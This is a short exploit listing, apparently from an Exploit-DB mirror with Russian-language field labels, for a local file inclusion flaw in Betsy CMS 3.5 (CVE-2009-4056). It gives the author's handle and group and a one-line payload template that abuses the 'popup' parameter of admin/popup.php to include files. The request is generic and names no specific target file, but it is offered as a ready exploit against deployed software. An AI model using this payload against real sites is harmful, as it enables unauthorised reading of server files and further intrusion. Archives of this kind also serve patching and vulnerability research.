Exploit Betsy CMS versions 3.5 - Local File Inclusion

[Exploiter]

EDB-ID

10189

Проверка EDB

1. Пройдено

Автор

MIZOZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-4056

Дата публикации

2009-11-21

/*

Author          : MizoZ [from MA]
Group           : EvilWay
Email           : mizozx[at]gmail[dot]com

Greetz          : Zuka !!

Good luck DZ :)

*/

The vulnerability is in the file admin/popup.php on the get $_GET['popup']

Exploit :

[HOST]/[PATH]/admin/popup.php?popup=[IT INCLUDE FROM admin/]